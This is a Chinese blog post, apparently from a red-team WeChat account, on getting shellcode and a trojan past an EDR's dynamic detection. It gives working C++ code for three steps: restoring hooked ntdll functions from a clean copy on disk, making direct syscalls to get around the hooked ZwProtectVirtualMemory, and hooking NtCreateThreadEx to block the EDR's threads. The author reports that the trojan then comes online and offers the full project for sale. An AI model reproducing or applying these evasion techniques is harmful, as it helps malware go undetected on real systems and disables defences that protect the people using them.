动态保护
在某次演习中使用集权系统下发木马一直不上线,但是在没有该edr的机器却能够上线成功,随后本地测试也没被杀。双击执行后出现此界面。
分析保护
已知情况如下:
-
在未执行shellcode时不会弹窗(包括免杀的灰鸽子、大灰狼等RAT) -
执行255个字节的nop指令也会弹窗
根据上述情况得知edr可能获得了程序的执行地址,能够获取到到程序执行地址的情况不多。常见的有:
-
拿到线程的Context -
拿到线程的执行地址 -
堆栈回溯
我初步怀疑是开启了VT进行了HOOK或者是使用了etw hook之类的手段。如果是这两种的话那就很麻烦了,因为要进r0去搞。不过万幸的是并没有使用这两种情况。通过进程监控工具查看进程创建及dll加载发现创建进程时会加载edr的Dll:
根据文件名可以暂时排除VT及etwhook的情况了。该DLL的注入时间比程序的Main函数执行时间还要早,大概率是使用了全局注入之类的手段。然后我想出了一个非常愚蠢的方案,在main里面把该edr的dll全部卸载掉:
FreeLibary("edr");FreeLibary("edr");FreeLibary("edr");
程序不出意外的崩溃了,其实用脑子想都知道不可能,因为在edr的DLL注入的时候肯定HOOK了大量函数来监控我的程序到底在干什么。后面查看果然如此:
写代码盘他,先把HOOK全部还原掉,具体的思路如下:
-
获取到NTDLL的内存地址 -
载入system32目录下的ntdll -
将system32目录下的ntdll在内存拉伸 -
获取NTDLL的.text节表及大小 -
获取自己拉伸DLL的.text节表及大小 -
对比机器码找出hook点 -
还原hook
代码大致如下:
std::vector<_CheckDifferent> temp_vector_check; //拉伸完毕后 PVOID lpPeMem = loader("C:\Windows\System32\ntdll.dll"); PVOID oldNt = LoadLibraryA("ntdll.dll"); //获取系统ntDll地址 PIMAGE_SECTION_HEADER oldSecHead = GetSecHeadAddr(oldNt, ".text"); //被HOOK的dll PIMAGE_SECTION_HEADER lpSecHead = GetSecHeadAddr(lpPeMem, ".text");//内存展开的DLL ULONG64 Address = (ULONG64)lpPeMem + (ULONG64)lpSecHead->VirtualAddress; //获取内存地址 ULONG64 oldAddress = (ULONG64)oldNt + (ULONG64)oldSecHead->VirtualAddress; //获取内存地址 DWORD Size = (ULONG64)lpSecHead->Misc.VirtualSize; for (INT i = 0; i < Size; i++) { if (*(UCHAR*)(Address+i) != *(UCHAR*)(oldAddress + i)) { _CheckDifferent temp__CheckDifferent; RtlZeroMemory(&temp__CheckDifferent, sizeof(_CheckDifferent)); //printf("Address = %prn", ((ULONG64)oldAddress + i)); temp__CheckDifferent.Addr = oldAddress + i; RtlCopyMemory(temp__CheckDifferent.FileHex, (PVOID)(Address + i),20); RtlCopyMemory(temp__CheckDifferent.MemoryHex, (PVOID)(oldAddress + i), 20); i = i + 19; temp_vector_check.push_back(temp__CheckDifferent); } } for (size_t i = 0; i < temp_vector_check.size(); i++) { _CheckDifferent temp__CheckDifferent = temp_vector_check[i]; PVOID hookAddress = (PVOID)temp__CheckDifferent.Addr; size_t size = 20; DWORD oldp = 0; protect(address,size); printf("NTSTATUS = %xrn", ret); memcpy((void*)temp__CheckDifferent.Addr, temp__CheckDifferent.FileHex,20); printf("Address = %prn", temp__CheckDifferent.Addr); printf("--------------rn"); }
不出意外的失败了,debug后发现是修改内存属性出了问题。该edr还hook了ZwProtectVirtualMemory,发现修改的内存地址不对就会清空。syscall盘他:
NTSTATUS Status; UCHAR* FunctionAddress; INT SystemCallIndex = 0x50; typedef NTSTATUS __stdcall NtFunction(args...); NtFunction* Function = (NtFunction*)inline_syscall::syscall_stub; memcpy(inline_syscall::get_stub() + 0x4, &SystemCallIndex, sizeof(UINT)); inline_syscall::set_error(IS_SUCCESS); return Function(arguments...);
果然成功了
再次执行发现还是会出现这个界面:
查看进程线程,发现多出来几个线程并且还全是edr的。进程模块里面也没有这个dll,那可能是断链隐藏了模块
既然这样,那我只好hook掉CreateThread了,判断线程地址是否在edr模块中,如果在的话就不执行该线程
NTSTATUS Hook_NtCreateThreadEx(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateSuspended, SIZE_T dwStackSize, SIZE_T dw1, SIZE_T dw2, LPVOID Unknown) { if (isModule((ULONG64)lpStartAddress)) { printf("检测到EDR动态拦截 Hook_NtCreateThreadEx CrateThread Address = %p,is LHShield64 = %drn", lpStartAddress, isModule((ULONG64)lpStartAddress)); return -1; } return pNtCreateThreadEx(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, dwStackSize, dw1,dw2, Unknown);}
成功上线:
代码:
本文的关键思路及关键代码均已给出,工程代码已经打包放在了知识星球,有需要可以加群后联系我(VX:xuanyuwd)索要小密圈加入二维码(99/人)
原文始发于微信公众号(我真不是红队啊):免杀-edr动态检测shellcode绕过
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论